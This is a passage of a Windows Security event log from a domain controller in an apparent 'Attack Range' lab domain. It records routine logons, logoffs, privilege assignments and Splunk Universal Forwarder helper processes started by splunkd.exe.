	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1084
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:03:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256183
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3C4DE6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:03:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256182
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3C4DE6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51293

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:03:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256181
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3C4DE6

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:04:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256184
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa24
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:04:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256186
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1034
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:04:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256185
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf78
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:04:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256188
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1328
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:04:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256187
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xea4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:04:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256189
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcfc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:04:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256190
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc4c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:04:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256193
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3C83A6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:04:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256192
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3C83A6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51306

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:04:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256191
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3C83A6

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:05:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256194
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x110c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:05:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256196
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x340
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:05:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256195
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xea8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:05:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256197
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4d8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:05:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256198
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf3c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:05:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256199
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb38
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:05:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256200
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4ac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:05:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256203
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3CC912

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:05:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256202
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
